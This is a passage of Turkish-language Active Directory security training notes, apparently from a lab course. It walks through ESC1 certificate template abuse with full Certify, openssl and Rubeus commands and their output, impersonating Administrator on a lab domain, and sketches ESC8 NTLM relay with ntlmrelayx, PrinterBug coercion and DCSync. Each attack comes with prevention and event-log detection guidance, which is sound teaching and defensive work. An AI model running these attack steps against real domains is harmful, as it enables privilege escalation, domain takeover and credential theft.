Neyse ki, AD nesnelerinin değiştirilip değiştirilmediğini tespit etmek için birçok yolumuz var. Ne yazık ki, değiştirilen nesneler için üretilen event'ler eksiktir, çünkü neyin değiştirildiği konusunda granüler görünürlük sağlamazlar. Örneğin, yukarıda açıklanan ilk durumda, infa, mdr'ı bir SPN değeri ekleyerek değiştirdi. Bunu yaparak, infa mdr'a karşı Kerberoasting gerçekleştirme araçlarına sahip olacaktır. SPN değeri eklendiğinde, "A user account was changed" ("Bir kullanıcı hesabı değiştirildi") mesajıyla Event ID 4738 üretilir. Ancak, bu event, SPN dahil tüm değiştirilen kullanıcı özelliklerini göstermez. Bu nedenle, event yalnızca bir kullanıcının değiştirildiğini bildirir ama tam olarak neyin değiştirildiğini belirtmez (yine de yararlı olabilecek makul miktarda alana sahiptir). Aşağıda, infa'nın mdr'ın Kullanıcı Nesnesine herhangi bir sahte (bogus) SPN değeri eklerse üretilecek event yer almaktadır:

Kırmızı notlar: "infa modified mdr" (Account Name: infa → Target Account: mdr ilişkisini gösteriyor) ve "No details of what was changed" (Changed Attributes alanındaki tüm değerlerin - olduğunu, yani hiçbir gerçek değişikliğin gösterilmediğini vurguluyor).

Ancak, bu event'i kullanarak, ayrıcalıksız bir kullanıcının başka bir kullanıcı üzerinde ayrıcalıklı eylemler gerçekleştirip gerçekleştirmediğini anlayabiliriz. Örneğin, tüm ayrıcalıklı kullanıcılar "adminxxxx" ile başlayan bir adlandırma kuralına sahipse, "adminxxxx" ile ilişkili olmayan herhangi bir değişiklik şüphelidir. Eğer bir ACL kötüye kullanımı bir parola sıfırlamasına yol açarsa, Event ID 4724 loglanacaktır.

Benzer şekilde, infa ikinci senaryoyu gerçekleştirseydi, Event ID 4742 üretilirdi; bu da ne yazık ki sağlayabileceği bilgi açısından sınırlıdır; ancak, kullanıcı hesabı infa'un ele geçirilmiş ve kötü niyetli olarak kullanıldığını bildirir. Aşağıdaki, infa Server01'i değiştirdiğinde üretilen Event ID 4742'dir:

Honeypot

Yanlış yapılandırılmış ACL'ler, şüpheli davranış için etkili bir tespit mekanizması olabilir. Buna yaklaşmanın iki yolu vardır:

1) Daha önce tartışılan bir teknik aracılığıyla, honeypot olarak kullanılan bir kullanıcı hesabına nispeten yüksek ACL'ler atayın — örneğin, sahte kimlik bilgilerinin description alanında açığa çıktığı bir kullanıcı. Hesaba ACL'lerin atanmış olması, bir düşmanı, hesabın açığa çıkan parolasının geçerli olup olmadığını denemeye ve doğrulamaya kışkırtabilir, çünkü bu yüksek potansiyele sahiptir.

2) Herkesin veya birçok kullanıcının değiştirebileceği bir hesaba sahip olun. Bu kullanıcı ideal olarak, gerçek kullanıcıları taklit etmek için bir miktar aktiviteye sahip bir honeypot kullanıcısı olacaktır. Bu honeypot kullanıcı üzerinde meydana gelen herhangi bir değişiklik kötü niyetlidir, çünkü onun üzerinde herhangi bir eylem gerçekleştirmek için geçerli bir neden yoktur (hesabı gerçekçi göstermek için parolasını periyodik olarak sıfırlaması gerekebilecek yöneticiler hariç). Bu nedenle, honeypot kullanıcı ile ilişkili herhangi bir Event ID 4738, bir alarmı tetiklemelidir. Ayrıca, olgun organizasyonlar, değişikliği gerçekleştiren kullanıcıyı anında devre dışı bırakabilir ve kaynak cihaz üzerinde bir adli inceleme (forensic investigation) başlatabilir.

Tamlık adına, infa/mdr örneğine geri dönersek, mdr'nin hesabındaki bir değişiklik şu şekilde tespit edilirdi:

BÖLÜM 15: PKI - ESC1

Açıklama (Description)

SpectreOps, "Certified Pre-Owned" araştırma makalesini yayınladıktan sonra, Active Directory Certificate Services (AD CS), birçok nedenden dolayı tehdit aktörleri için en favori saldırı vektörlerinden biri haline geldi, bunlar arasında:

Kimlik doğrulama için sertifika kullanmanın, normal kullanıcı adı/parola kimlik bilgilerine göre daha fazla avantajı vardır.
Çoğu PKI sunucusu, SpectreOps tarafından keşfedilen sekiz saldırıdan en az birine karşı yanlış yapılandırılmış/savunmasızdır (o zamandan beri çeşitli araştırmacılar daha fazla saldırı keşfetti).

Sertifikaları kullanmanın ve Certificate Authority'yi (CA) ele geçirmenin çok sayıda avantajı vardır:

Kullanıcı ve makine sertifikaları 1+ yıl geçerlidir.
Bir kullanıcı parolasını sıfırlamak sertifikayı geçersiz kılmaz. Sertifikalarla, bir kullanıcının parolasını kaç kez değiştirdiği önemli değildir; sertifika hâlâ geçerli olacaktır (süresi dolmadıkça veya iptal edilmedikçe).
Yanlış yapılandırılmış şablonlar, herhangi bir kullanıcı için sertifika elde etmeye izin verir.
CA'nın özel anahtarını ele geçirmek, Golden Certificate'lar (Altın Sertifikalar) sahtekarlığıyla sonuçlanır.

Bu avantajlar, sertifikaları uzun vadeli kalıcılık (persistence) için tercih edilen yöntem haline getirir. SpectreOps sekiz yetki yükseltme tekniğini açıklarken, biz nasıl çalıştığını göstermek için ilkini, ESC1'i inceleyeceğiz. ESC1'in açıklaması:

No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT aracılığıyla domain yetki yükseltmesi.

Saldırı (Attack)

Adım 1 — PKI altyapısındaki savunmasızlıkları taramak için Certify'ı kullanma:

Başlamak için, PKI altyapısındaki savunmasızlıkları taramak için Certify'ı kullanacağız:

powershell

PS C:\Users\infa\Downloads> .\Certify.exe find /vulnerable

Çıktı:

[*] Action: Find certificate templates

[*] Using the search base 'CN=Configuration,DC=krysathal,DC=local'
[*] Listing info about the Enterprise CA 'krysathal-PKI-CA'

Enterprise CA Name                : krysathal-PKI-CA
DNS Hostname                      : PKI.krysathal.local
FullName                          : PKI.krysathal.local\krysathal-PKI-CA
Flags                             : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName                  : CN=krysathal-PKI-CA, DC=krysathal, DC=local
Cert Thumbprint                   : 7C59C4910A1C853128FE12C17C2A54D93D1EECAA
Cert Serial                       : 780E7B38C053CCAB469A33CFAAAB9ECE
Cert Start Date                   : 09/08/2026 14.07.25
Cert End Date                     : 09/08/2522 14.17.25
Cert Chain                        : CN=krysathal-PKI-CA,DC=krysathal,DC=local
UserSpecifiedSAN                  : Disabled
CA Permissions                    :
    Owner: BUILTIN\Administrators            S-1-5-32-544

    Access Rights                                           Principal

    Allow   Enroll                                          NT AUTHORITY\Authenticated Users   S-1-5-11
    Allow   ManageCA, ManageCertificates                    BUILTIN\Administrators             S-1-5-32-544
    Allow   ManageCA, ManageCertificates                    KRYSATHAL\Domain Admins            S-1-5-21-1518138621-4282902758-752445584-512
    Allow   ManageCA, ManageCertificates                    KRYSATHAL\Enterprise Admins        S-1-5-21-1518138621-4282902758-752445584-519

Enrollment Agent Restrictions : None
[!] Vulnerable Certificates Templates :

CA Name                                      : PKI.krysathal.local\krysathal-PKI-CA
Template Name                                : UserCert
Schema Version                               : 4
Validity Period                              : 10 years
Renewal Period                               : 6 weeks
msPKI-Certificates-Name-Flag                 : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag                        : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required               : 0
pkiextendedkeyusage                          : Client Authentication, Encrypting File System, Secure Email, Smart Card Log-on
mspki-certificate-application-policy         : Client Authentication, Encrypting File System, Secure Email, Smart Card Log-on
Permissions
    Enrollment Permissions
      Enrollment Rights              : KRYSATHAL\Domain Admins              S-1-5-21-1518138621-4282902758-752445584-512
                                        KRYSATHAL\Domain Users                S-1-5-21-1518138621-4282902758-752445584-513
                                        KRYSATHAL\Enterprise Admins           S-1-5-21-1518138621-4282902758-752445584-519
      Object Control Permissions
        Owner                               : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500
        WriteOwner Principals               : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500
                                               KRYSATHAL\Domain Admins                   S-1-5-21-1518138621-4282902758-752445584-512
                                               KRYSATHAL\Enterprise Admins               S-1-5-21-1518138621-4282902758-752445584-519
        WriteDacl Principals                : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500
                                               KRYSATHAL\Domain Admins                   S-1-5-21-1518138621-4282902758-752445584-512
                                               KRYSATHAL\Enterprise Admins               S-1-5-21-1518138621-4282902758-752445584-519
        WriteProperty Principals            : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500
                                               KRYSATHAL\Domain Admins                   S-1-5-21-1518138621-4282902758-752445584-512
                                               KRYSATHAL\Enterprise Admins               S-1-5-21-1518138621-4282902758-752445584-519
Certify completed in 00:00:00.9120044

Certify çıktısındaki "Vulnerable Certificate Templates" bölümüne baktığımızda, hakkında çok fazla bilgi olan tek bir şablon listelendiğini göreceğiz. Ortamdaki CA'nın adının PKI.kersthal.local\kersthal-PKI-CA olduğunu ve savunmasız şablonun UserCert olarak adlandırıldığını söyleyebiliriz. Şablon şu nedenlerle savunmasızdır:

Tüm Domain kullanıcıları bu şablonda bir sertifika talep edebilir.
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bayrağı mevcuttur, bu da talep edenin SAN'ı belirtmesine izin verir (bu nedenle, herhangi bir kullanıcı, ayrıcalıklılar dahil, ağdaki herhangi bir başka kullanıcı olarak sertifika talep edebilir).
Yönetici onayı gerekli değildir (sertifika, onay olmadan talepten hemen sonra verilir).
Sertifika 'Client Authentication' için kullanılabilir (giriş/kimlik doğrulama için kullanabiliriz).

Adım 2 — Şablonu istismar etme:

Bu şablonu kötüye kullanmak için, Certify'ı kullanacağız ve CA'nın tam adını, savunmasız şablonun adını ve bir kullanıcının adını (örneğin, Administrator) belirterek request argümanını geçireceğiz:

powershell

PS C:\Users\infa\Downloads> .\Certify.exe request /ca:PKI.krysathal.local\krysathal-PKI-CA /template:UserCert /altname:Administrator

Çıktı:

[*] Action: Request a Certificates

[*] Current user context             : KRYSATHAL\infa
[*] No subject name specified, using current context as subject.
[*] Template                         : UserCert
[*] Subject                          : CN=infa, OU=KrysathalUsers, DC=krysathal, DC=local
[*] AltName                          : Administrator

[*] Certificate Authority            : PKI.krysathal.local\krysathal-PKI-CA

[*] CA Response                      : The certificate had been issued.
[*] Request ID                       : 36

[*] cert.pem :

-----BEGIN RSA PRIVATE KEY-----
MIIE...
<SNIP>
<SNIP>
wgP7EwPpxHKOrlZr6H+5lS58u/9EuIgdSk1X3VWuZvWRdjL15ovn
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGLzCCBRegAwIBAgITFgAAACx6zV6bbfN1ZQAAAAAALDANBgkqhkiG9w0BAQsF
<SNIP>
<SNIP>
eVAB
-----END CERTIFICATE-----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Certify completed in 00:00:15.8803493

Adım 3 — Sertifikayı PFX formatına dönüştürme:

Saldırı bittiğinde, başarıyla bir sertifika elde edeceğiz. Komut bir PEM sertifikası üretir ve bunu base64 olarak görüntüler. PEM sertifikasını PFX formatına dönüştürmemiz gerekiyor; bunu Certify çıktısında belirtilen komutu çalıştırarak yaparız (parola sorulduğunda, herhangi bir parola sağlamadan Enter'a basın), ancak güvenli tarafta olmak için, önce PEM dosyasının kötü formatlanmasını önlemek için aşağıdaki komutu çalıştıralım:

sed -i 's/\s\s\+/\n/g' cert.pem

Ardından Certify'ın çıktısında belirtilen openssl komutunu çalıştırabiliriz:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Adım 4 — Sertifikayı kullanarak TGT talep etme:

Artık sertifikayı kullanılabilir PFX formatında (Rubeus'un desteklediği) elde ettiğimize göre, Administrator hesabı için bir Kerberos TGT talep edebilir ve sertifika ile kimlik doğrulayabiliriz:

powershell

PS C:\Users\infa\Downloads> .\Rubeus.exe asktgt /domain:krysathal.local /user:Administrator /certificate:cert.pfx /dc:dc1.krysathal.local /ptt

Çıktı:

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=infa, OU=KrysathalUsers, DC=krysathal, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'krysathal.local\Administrator'
[+] TGT request successful!

[*] base64(ticket.kirbi):

doIGVjCCBlKgAwIBBaEDAgEWooIFaTCCBWVhggVhMIIFXaADAgEFoQ0bC0VBR0xFLkxPQ0FMoi
AwHqAD
[...]
[+] Ticket successfully imported!

    ServiceName                    :    krbtgt/krysathal.local
    ServiceRealm                   :    KRYSATHAL.LOCAL
    UserName                       :    Administrator
    UserRealm                      :    KRYSATHAL.LOCAL
    StartTime                      :    14/09/2026 21.04.53
    EndTime                        :    20/09/202607.04.53
    RenewTill                      :    26/09/2026 21.04.53
    Flags                          :    name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                        :    rc4_hmac
    Base64(key)                    :    KQTCgNhj3sh4yXvrBwTfeg==
    ASREP (key)                    :    2EB79553702442F11E93044E3C915490

Adım 5 — Başarılı kimlik doğrulama sonrası DC1'e erişme:

Başarılı kimlik doğrulama sonrası, DC1'deki C$ paylaşımının içeriğini listeleyebileceğiz:

powershell

PS C:\Users\infa\Downloads> dir \\dc1\c$

    Directory: \\dc1\c$

Mode                  LastWriteTime          Length Name
----                  -------------          ------ ----
d-----            9/15/2026   6:30 PM                   DFSReports
d-----            9/13/2026  11:23 PM                   Mimikatz
d-----             9/1/2026   9:49 PM                   PerfLogs
d-r---            9/28/2026  10:59 AM                   Program Files
d-----             9/1/2026   2:02 PM                   Program Files (x86)
d-----            9/13/2026  11:22 AM                   scripts
d-r---             9/7/2026   9:31 PM                   Users
d-----            9/28/2026  11:27 AM                   Windows

Önleme (Prevention)

Eğer sertifika şablonunda CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bayrağı etkin olmasaydı, saldırı mümkün olmazdı. Bu saldırıyı engellemenin başka bir yöntemi de, sertifikaların verilmesinden önce CA sertifika yöneticisi onayını gerekli kılmaktır; bu, potansiyel olarak tehlikeli şablonlardaki hiçbir sertifikanın manuel onay olmadan verilmemesini sağlar (bu, umarız talebin meşru bir kullanıcıdan kaynaklandığı ile ilişkilendirilir).

Birçok farklı yetki yükseltme tekniği olduğu için, ortamı düzenli olarak Certify veya benzer araçlarla tarayarak potansiyel PKI sorunlarını bulmak şiddetle tavsiye edilir.

Tespit (Detection)

CA sertifika ürettiğinde, iki event loglanacaktır: biri alınan talep için, diğeri (başarılı olursa) verilen sertifika için. Bu event'ler aşağıda gösterildiği gibi 4886 ve 4887 ID'lerine sahiptir:

Ne yazık ki, yalnızca infa'nın WS001'den bir sertifika talep ettiğini söyleyebiliriz; talebin SAN'ı belirtip belirtmediğini bilemeyiz.

CA, verilen tüm sertifikaların bir listesini içerir, bu yüzden oraya bakarsak, sertifika ID 36 için talebi göreceğiz (yukarıdaki saldırı senaryosundan olan):

GUI aracının genel görünümü de SAN'ı göstermez, ancak savunmasız şablon aracılığıyla bir sertifikanın verildiğini söyleyebiliriz. SAN bilgisini bulmak istersek, sertifikanın kendisini açmamız gerekecek:

Bunu programatik olarak görüntülemenin de bir yolu vardır: certutil -view komutu, CA üzerindeki her şeyi, her sertifika hakkındaki tüm bilgilerle birlikte döker (büyük bir ortamda bu devasa olabilir):

Biraz script yazarak, tehdit aktörleri tarafından kötüye kullanılan savunmasız şablonların ayrıştırılmasını ve keşfini otomatikleştirebiliriz.

Son olarak, hatırlarsanız, saldırıda elde edilen sertifikayı kimlik doğrulama için kullandık ve bir TGT elde ettik; AD bu talebi Event ID 4768 ile loglayacaktır, bu event özellikle sertifika ile giriş girişimi hakkında bilgi içerecektir:

Not: Event 4886 ve 4887, Domain Controller'da değil, sertifikayı veren makinede üretilecektir. GUI erişimi mevcut değilse, PSSession'ı kullanarak PKI makinesiyle etkileşime geçebiliriz ve Get-WinEvent cmdlet'ini kullanarak event'leri arayabiliriz:

C:\Users\infa\Downloads>runas /user:krysathal\htb-student powershell

Enter the password for krysathal\htb-student:
Attempting to start powershell as user "krysathal\htb-student"

powershell

PS C:\WINDOWS\system32> New-PSSession PKI
 Id Name                 ComputerName       ComputerType        State      ConfigurationName          Availability

  4 WinRM4               PKI                RemoteMachine       Opened     Microsoft.PowerShell          Available

powershell

PPS C:\WINDOWS\system32> Enter-PSSession PKI
[PKI]: PS C:\Users\htb-student\Documents> Get-WINEvent -FilterHashtable @{Logname='Security'; ID='4886'}

ProviderName: Microsoft-Windows-Security-Auditing
TimeCreated                           Id LevelDisplayName Message
9/13/2026 4:05:50 PM                4886 Information      Certificate Services received a certificate request

9/11/2026 1:24:02 PM                4886 Information          Certificate Services received a certificate request

9/11/2026 1:15:01 PM                4886 Information          Certificate Services received a certificate request

powershell

[PKI]: PS C:\Users\htb-student\Documents> Get-WINEvent -FilterHashtable @{Logname='Security'; ID='4887'}

ProviderName: Microsoft-Windows-Security-Auditing
TimeCreated                           Id LevelDisplayName Message
9/13/2026 4:06:05 PM                4887 Information          Certificate Services approved a certificate request and

9/13/2026 4:06:02 PM                4887 Information          Certificate Services approved a certificate request and

9/11/2026 1:24:14 PM          4887 Information                Certificate Services approved a certificate request and

9/11/2026 1:24:14 PM                4887 Information          Certificate Services approved a certificate request and

9/11/2026 1:15:12 PM                4887 Information          Certificate Services approved a certificate request and

Event'lerin tam denetim (audit) günlüğünü görüntülemek için, çıktıyı Format-List'e pipe'layabiliriz veya event'leri bir dizide saklayıp tek tek kontrol edebiliriz:

powershell

[pki]: PS C:\Users\htb-student\Documents> $events = Get-WinEvent -FilterHashtable @{Logname='Security'; ID='4886'}

[pki]: PS C:\Users\htb-student\Documents> $events[0] | Format-List -Property *
Message                  : Certificate Services received a certificate request.

                        Request ID:         51
                        Requester:    KRYSATHAL\DC2$
                        Attributes:
                        CertificateTemplate:DomainController
                        ccm:PKI.krysathal.local
Id                        : 4886
Version                   : 0
Qualifiers                :
Level                     : 0
Task                      : 12805
Opcode                    : 0
Keywords                  : -9214364837600034816
RecordId                  : 21100
ProviderName              : Microsoft-Windows-Security-Auditing
ProviderId                : 54849625-5478-4994-a5ba-3e3b0328c30d
LogName                   : Security
ProcessId                 : 660
ThreadId                  : 772
MachineName               : PKI.krysathal.local
UserId                    :
TimeCreated               : 9/11/2026 1:24:02 PM
ActivityId                : dcf643ef-6c67-0000-6e44-f6dc676cd901
RelatedActivityId         :
ContainerLog              : Security
MatchedQueryIds           : {}
Bookmark                  : System.Diagnostics.Eventing.Reader.EventBookmark
LevelDisplayName          : Information
OpcodeDisplayName         : Info
TaskDisplayName           : Certification Services
KeywordsDisplayNames      : {Audit Success}
Properties                : {System.Diagnostics.Eventing.Reader.EventProperty,

System.Diagnostics.Eventing.Reader.EventProperty,

System.Diagnostics.Eventing.Reader.EventProperty}

BÖLÜM 15: ESC8 — NTLM Relay ile Sertifika Çalma

Temel Mantık

Bu saldırı, bir Domain Controller'ı kandırıp sana bağlanmaya zorlar, sonra o bağlantıyı Certificate Authority'ye (sertifika sunucusu) yönlendirir ve DC'nin kimliğiyle bir sertifika alır. O sertifikayla da DC gibi davranıp tüm domain'i ele geçirirsin.

Neden İşe Yarıyor?

İki temel zayıflık üst üste geliyor:

ADCS web kayıt (web enrollment) arayüzü HTTPS zorunlu kılmıyor — yani kimlik doğrulama şifrelenmemiş HTTP üzerinden yapılabiliyor, bu da relay'e (ortadaki adam gibi iletme) izin veriyor.
Herhangi bir domain kullanıcısı bir makineyi (DC dahil) kendisine bağlanmaya zorlayabiliyor (PrinterBug/coercing).

Saldırının Akışı

1. Dinleyiciyi kur

Saldırgan NTLMRelayx'i çalıştırır ve ona talimat verir: "Bana gelen her bağlantıyı Certificate Authority'ye ilet ve DomainController şablonu için sertifika iste."

impacket-ntlmrelayx -t http://<CA-IP>/certsrv/default.asp --template DomainController -smb2support --adcs

2. DC'yi zorla (PrinterBug)

Saldırgan, hedef Domain Controller'ın Print Spooler servisindeki açığı tetikleyerek onu kendi makinesine bağlanmaya zorlar. DC bağlanırken kendi makine hesabının (DC2$) kimliğini taşır.

3. Kimliği sertifikaya çevir

NTLMRelayx, DC'nin bu bağlantısını anında CA'ya iletir. CA, "bu gerçekten DC2" diye düşünüp DC2$ adına geçerli bir sertifika verir. Artık saldırganın elinde, kriptografik olarak geçerli bir "ben DC2'yim" kimlik kartı var.

4. Sertifikayı giriş biletine çevir (Rubeus)

Bu sertifika ile DC2$ hesabı için bir Kerberos TGT alınır:

Rubeus.exe asktgt /user:DC2$ /ptt /certificate:<base64-sertifika>

Artık saldırgan ağda DC2 olarak hareket edebilir.

5. Tüm hash'leri çek (DCSync)

Saldırgan bir Domain Controller gibi davrandığı için, DCSync ile Administrator dahil tüm hesapların parola hash'lerini çeker → tam domain ele geçirme.

Önleme

ADCS web enrollment'ta HTTPS'i zorunlu kıl — relay'in temelini çökertir.
Coercing'i engelle — DC'lerin 139/445 portlarına giden outbound bağlantılarını kısıtla (Bölüm 13'teki önlemle aynı).
Certify gibi araçlarla düzenli PKI taraması yap.

Tespit

Saldırı üç ayrı iz bırakır:

Event 4886 / 4887 → sertifika talebi ve onayı (CA üzerinde). İpucu: relay ile gelen talepte şablon adı görünür, normal DC talebinde görünmez.
Event 4768 → sertifika ile TGT alımı. İpucu: giriş sertifika ile yapılmış ve IP adresi DC'nin değil.
Event 4624 → DCSync sırasında başarılı giriş. İpucu: yine yanlış/beklenmedik IP adresi.

Ortak tespit mantığı: Çekirdek sunucuların (DC, CA) giriş yaptığı IP adresleri statik ve bilinmelidir. Beklenmedik bir IP'den gelen DC kimlik doğrulaması = alarm.

Bu dokümanın siber güvenlik alanında kendini geliştirmek isteyen herkese faydalı bir kaynak olmasını umuyorum. Okuduğunuz, uyguladığınız ve öğrendiğiniz her adımın sizlere yeni bir bakış açısı kazandırması dileğiyle. Katkı ve geri bildirimleriniz her zaman değerlidir.